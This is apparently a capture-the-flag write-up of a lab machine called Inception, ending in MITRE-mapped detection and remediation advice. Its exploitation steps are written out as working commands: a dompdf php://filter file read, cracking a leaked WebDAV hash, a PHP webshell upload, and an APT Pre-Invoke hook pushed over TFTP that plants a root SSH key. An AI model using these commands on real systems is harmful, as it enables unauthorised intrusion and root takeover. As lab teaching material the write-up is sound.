Overview
Inception is a medium Linux box whose architecture mirrors its namesake film: exploitation proceeds through nested layers, each requiring a different technique to penetrate. The outer layer is a web application running dompdf 0.6.0 behind a Squid proxy. The middle layer is an LXC container where initial code execution lands. The innermost layer is the host machine, reachable only through internal services discovered from within the container.
The attack chain spans four steps across two network boundaries. dompdf’s
php:// wrapper bypass (CVE-2014-2383) provides arbitrary file read, which
leaks WebDAV credentials from Apache’s configuration. WebDAV file upload
achieves code execution as www-data, but inside an LXC container rather than on
the host. From the container, anonymous FTP on the host exposes the full
filesystem (no chroot), revealing a root cron job that runs apt-get update
every five minutes. TFTP (also without chroot) provides write access to the
host filesystem. Dropping an APT::Update::Pre-Invoke hook into
/etc/apt/apt.conf.d/ executes arbitrary commands as root on the next cron
cycle.
The box teaches pivoting, container boundary awareness, and the value of protocol-level reconnaissance. Each step forward requires understanding why the previous layer’s constraints prevent a direct path to root.
Reconnaissance
I start with a service-version scan:
nmap -sC -sV -oA scans/inception 10.129.15.30
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 80 | HTTP | Apache httpd 2.4.18 (Ubuntu) | Page titled “Inception” |
| 3128 | HTTP proxy | Squid http proxy 3.5.12 | Open proxy |
Two services. HTTP serves a static page with a single image; no interactive content. Port 3128 is a Squid HTTP proxy accepting external connections. The combination of a web application and an open forward proxy is a strong indicator of a two-tier architecture: public-facing services on one network, internal services accessible only through the proxy. Apache 2.4.18 maps to Ubuntu 16.04 (Xenial), which reached end-of-life in April 2021.
Attack Surface Analysis
dompdf 0.6.0 (CVE-2014-2383)
Directory enumeration against port 80 finds /dompdf/ with directory listing
enabled. The directory contains a VERSION file reading 0.6.0.
dompdf is a PHP library that renders HTML to PDF. Version 0.6.0 is vulnerable
to CVE-2014-2383: a local file inclusion through the input_file parameter.
The vulnerability exploits a logic gap in dompdf’s CHROOT enforcement. The code
checks whether the protocol is empty or file:// before applying path
restrictions. PHP stream wrappers (php://) have a non-empty protocol string
that matches neither condition, so they bypass CHROOT entirely. This is a
classic allowlist-vs-denylist failure: the code denies known-dangerous protocols
rather than allowing only safe ones.
| Attribute | Value |
|---|---|
| CVE | CVE-2014-2383 |
| CVSS 3.1 | 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| CWE | CWE-22 (Path Traversal) |
| Root cause | php:// wrapper bypasses DOMPDF_CHROOT because protocol != "" and != file:// |
| Affected | dompdf < 0.6.1 |
WebDAV endpoint
The dompdf LFI reveals the Apache vhost configuration, which declares a WebDAV
endpoint at /webdav_test_inception/ with HTTP Basic authentication backed by
a password file at a known filesystem path. Reading the password file via the
same LFI yields a crackable Apache MD5 hash. The _test_ naming convention
suggests a development artefact left in production.
Squid proxy
The Squid proxy accepts external connections but has ACLs blocking requests to
RFC 1918 ranges (192.168.0.0/16, 10.0.0.0/8, 172.16.0.0/12). I tested
this by issuing curl -x http://10.129.15.30:3128 http://192.168.0.1/, which
returned HTTP 403. This prevents using the proxy as a direct pivot to internal
hosts from the attacker’s machine.
Vulnerability Analysis
The exploitation chain requires four distinct steps across two network boundaries:
dompdf LFI (CVE-2014-2383). The php://filter/convert.base64-encode/resource=
chain reads any file accessible to the Apache process (www-data). The
base64 encoding is necessary because dompdf attempts to parse the included
content as HTML; binary files or files containing angle brackets would corrupt
the output. Wrapping the content in base64 produces clean alphanumeric output
embedded in the generated PDF.
WebDAV credential exposure. The Apache config read via LFI discloses the
WebDAV endpoint path and credential file location. The credential file contains
an Apache MD5 hash ($apr1$) that cracks in seconds with rockyou.txt:
webdav_tester:babygurl69. Apache MD5 ($apr1$) uses only 1000 iterations of
MD5, making it orders of magnitude faster to brute-force than bcrypt or
Argon2id.
WebDAV file upload. With valid credentials, the WebDAV endpoint accepts PUT
requests. Uploading a PHP file to the web-accessible directory achieves code
execution as www-data. However, execution lands inside an LXC container at
192.168.0.10, not on the host. The ip addr output shows eth0@if6; the
@if suffix indicates a veth pair, the standard network interface type for
Linux containers. This is the first indication that a container boundary exists
between the web server and the actual host.
apt pre-invoke hook injection. From inside the container, anonymous FTP on
the host (192.168.0.1) exposes the full filesystem without chroot. The host’s
/etc/crontab shows root running apt-get update every five minutes. TFTP
(also without chroot) provides write access to the host filesystem. Writing an
APT::Update::Pre-Invoke hook to /etc/apt/apt.conf.d/ causes apt to execute
arbitrary commands as root before initiating network operations. The apt hook
mechanism is designed for pre-flight checks (mirror selection, proxy
configuration), but it runs with the full privileges of the calling process.
Exploitation
Step 1: LFI via dompdf
curl -s "http://10.129.15.30/dompdf/dompdf.php?input_file=\
php://filter/convert.base64-encode/resource=/etc/passwd" \
-o passwd.pdf
The PDF contains a base64 blob that decodes to /etc/passwd. Key entry:
cobb:x:1000:1000::/home/cobb:/bin/bash. The username references the
protagonist of the film. I also read /etc/php/7.0/apache2/php.ini early to
check allow_url_fopen; it was Off, which ruled out the dompdf remote font
RCE technique (fetching a malicious font via CSS @font-face). Knowing this
constraint early saved time and directed the attack towards local file read
rather than remote code execution through dompdf itself.
Step 2: Apache config and credential extraction
curl -s "http://10.129.15.30/dompdf/dompdf.php?input_file=\
php://filter/convert.base64-encode/resource=/etc/apache2/sites-enabled/000-default.conf" \
-o vhost.pdf
The decoded config reveals:
Alias /webdav_test_inception /var/www/html/webdav_test_inception
<Directory /var/www/html/webdav_test_inception>
DAV On
AuthType Basic
AuthUserFile /var/www/html/webdav_test_inception/webdav.passwd
</Directory>
Reading webdav.passwd via the same LFI yields:
webdav_tester:$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0
John the Ripper cracks the Apache MD5 hash in seconds:
john --wordlist=/usr/share/wordlists/rockyou.txt webdav.hash
# webdav_tester:babygurl69
Step 3: WebDAV upload for RCE
curl -u "webdav_tester:babygurl69" -X PUT \
http://10.129.15.30/webdav_test_inception/shell.php \
--data '<?php system($_GET["cmd"]); ?>'
Verify execution:
GET /webdav_test_inception/shell.php?cmd=id
Response: uid=33(www-data) gid=33(www-data) groups=33(www-data)
The ip addr output confirms LXC:
3: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> ... inet 192.168.0.10/24
The @if6 suffix indicates a veth pair. The host machine is at 192.168.0.1.
I confirmed this by reading /proc/1/cgroup, which showed
/lxc/Inception_server; the container name matches the box theme.
Step 4: internal host reconnaissance
Reverse shells fail. The container has egress filtering that blocks outbound
connections to the HTB VPN range (10.10.0.0/8). I tested several approaches:
bash /dev/tcp reverse shell, Python reverse shell, and netcat. All timed out.
All further exploitation must occur from within the container via the webshell,
which constrains tool availability significantly.
I wrote a minimal port scanner in bash and ran it through the webshell to enumerate the host:
for p in 21 22 23 25 53 69 80 111 443 3128; do
(echo >/dev/tcp/192.168.0.1/$p) 2>/dev/null && echo "$p open"
done
FTP (21) and SSH (22) respond on the host. Anonymous FTP connects successfully,
and the FTP root is the host filesystem root (no chroot). The full system
configuration is readable: /etc/shadow, /etc/crontab, service
configurations, and application code.
The critical discovery in /etc/crontab:
*/5 * * * * root apt-get update 2>&1 >/var/log/apt/custom.log
Root runs apt-get update every five minutes. The apt-get update command
reads all configuration files in /etc/apt/apt.conf.d/ before contacting
mirrors, and Pre-Invoke hooks execute shell commands with the calling
process’s privileges.
I attempted SSH to the host using the cracked WebDAV password (babygurl69)
for the cobb account. Authentication failed. Password reuse across the
application and system layers would have been a shorter path, but the
credentials were scoped to the WebDAV endpoint only.
Step 5: TFTP write and apt hook injection
TFTP on the host (port 69) accepts PUT requests without authentication and without chroot, providing write access to arbitrary filesystem paths. I chose TFTP over FTP because FTP anonymous sessions are typically read-only, while this TFTP daemon was configured for both read and write.
printf 'APT::Update::Pre-Invoke {"mkdir -p /root/.ssh && echo ssh-ed25519 AAAA... > /root/.ssh/authorized_keys && chmod 700 /root/.ssh && chmod 600 /root/.ssh/authorized_keys";};\n' > /tmp/99pwn
tftp 192.168.0.1 -c put /tmp/99pwn /etc/apt/apt.conf.d/99pwn
The APT::Update::Pre-Invoke directive runs a shell command before apt
initiates network operations. The 99 prefix controls execution order within
apt.conf.d/; files are processed in lexicographic order, so 99pwn runs
after all legitimate configuration. The hook plants an SSH public key in
/root/.ssh/authorized_keys.
After the next cron cycle (up to five minutes):
ssh -i /tmp/inception_key [email protected]
Root shell on the host. Both flags captured.
Post-Exploitation
Container boundary analysis
The LXC container uses UID mapping with a 100000 offset: container UID 1000 (cobb) maps to host UID 101000. This is the standard unprivileged LXC security model. Privilege escalation within the container does not translate to host root because the kernel enforces UID remapping at the namespace boundary. The container boundary itself held; the escape path went entirely through misconfigured host services.
Host service exposure
The host’s FTP and TFTP services are bound to 0.0.0.0, making them accessible
from both the container network and any other interface. In a production
environment, this trust boundary violation is the core issue. A container
compromise should not provide unauthenticated read/write access to the host
filesystem. FTP without chroot is a read-anywhere primitive. TFTP without chroot
is a write-anywhere primitive. Together, they give a container attacker full
control of the host.
Failed approaches
Three approaches failed before the successful chain:
-
dompdf remote font RCE. The technique works by injecting a CSS
@font-facerule pointing to an attacker-controlled server hosting a malicious PHP font file. dompdf fetches and caches the font with a.phpextension, then a direct request to the cache path triggers execution. Blocked here becauseallow_url_fopen = Offin PHP configuration, which I confirmed via LFI ofphp.inibefore attempting the technique. -
Squid proxy pivot. Routing requests through the Squid proxy to reach internal hosts (192.168.0.1) returned HTTP 403. The proxy’s
http_accessACLs deny requests to RFC 1918 address space. -
SSH with WebDAV password. Tried
cobb:babygurl69against SSH on the host. Authentication rejected. The password was specific to the WebDAV endpoint.
Defensive Analysis
Detection opportunities
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Initial access | T1190 | IDS signature for php://filter in HTTP query strings |
| Execution | T1059.004 | File integrity monitoring on /etc/apt/apt.conf.d/ |
| Persistence | T1098.004 | SSH authorized_keys file creation on host |
| Discovery | T1083 | Anomalous FTP read patterns (bulk config file access) |
| Lateral movement | T1210 | TFTP PUT to system directories |
Network-level: TFTP traffic to system paths is abnormal. Any TFTP PUT
operation writing outside a dedicated TFTP directory should trigger an alert.
FTP sessions reading system configuration files (/etc/crontab,
/etc/shadow, /etc/apt/apt.conf.d/) are suspicious in any context. A WAF
or IDS rule matching php://filter in query string parameters would catch the
initial LFI; this string has no legitimate use in user-supplied input.
Host-level: File integrity monitoring (AIDE, OSSEC, or similar) on
/etc/apt/apt.conf.d/ would detect the hook injection. Any new file in that
directory warrants investigation. SSH key creation in /root/.ssh/ should
trigger an immediate alert; root key additions are rare operational events and
common attacker persistence mechanisms.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Upgrade dompdf to a maintained version | Medium | Critical |
| P0 | Remove TFTP or chroot to a dedicated directory | Low | Critical |
| P0 | Chroot FTP and disable anonymous access | Low | Critical |
| P1 | Remove WebDAV test endpoint from production | Low | High |
| P1 | Restrict /etc/apt/apt.conf.d/ permissions to root only (700) | Low | High |
| P1 | Bind internal services (FTP, TFTP) to localhost or a management interface | Low | High |
| P2 | Add network segmentation between container and host | Medium | Medium |
| P2 | Replace Apache MD5 ($apr1$) with bcrypt for WebDAV auth | Low | Medium |
| P3 | Audit all cron jobs running as root | Low | Medium |
| P3 | Upgrade from Ubuntu 16.04 to a supported release | High | High |
The fundamental issue is the trust boundary between the LXC container and the host. The container’s UID remapping provides process isolation, but the host exposes FTP and TFTP to the container network without authentication or path restriction. A single container compromise translates to full host compromise through these services. Binding FTP and TFTP to a management interface (or removing them entirely) eliminates the escape path regardless of container vulnerabilities.
The apt-get update cron job running as root compounds the problem. Any
scheduled privileged command that reads configuration from a writable directory
is a potential injection point. If the cron job is necessary, running it under a
non-root user with only the required capabilities, or using apt-get update -o Dir::Etc::parts=/root/apt-hooks/ to restrict the configuration directory,
would limit the blast radius.
Key Takeaways
-
php://wrappers bypass CHROOT in dompdf. The CHROOT check compares the protocol to""and"file://". Any other protocol passes without restriction. This is an allowlist implemented as a denylist: it blocks known protocols instead of permitting only safe ones. When testing file inclusion against dompdf, try PHP stream wrappers before assuming CHROOT is effective. -
FTP without chroot is a read-anywhere primitive. Anonymous FTP exposing the host filesystem root makes the entire system configuration available: cron jobs, service configs, password hashes, and application credentials. The chroot directive exists in every major FTP daemon (vsftpd, ProFTPD, Pure-FTPd) and should be enabled by default.
-
TFTP without chroot is a write-anywhere primitive. Combined with a privileged cron job that reads configuration from a writable directory, it produces a clean root escalation path. The same pattern applies to any writable location feeding into a privileged execution context: systemd unit directories, cron.d, logrotate.d, profile.d.
-
Container escape requires host-side services. The LXC boundary itself held. UID remapping prevented privilege escalation within the container from translating to host root. The escape path went through misconfigured host services (FTP, TFTP) accessible from the container’s network segment. Container security is only as strong as the services exposed to the container’s network.
-
Error messages are existence oracles. When TFTP read of
/root/.ssh/authorized_keysreturned “File must have global read permissions,” that confirmed the file existed with restrictive permissions (likely 600). Protocol error messages frequently reveal more information than their authors intended: file existence, permission modes, directory structure.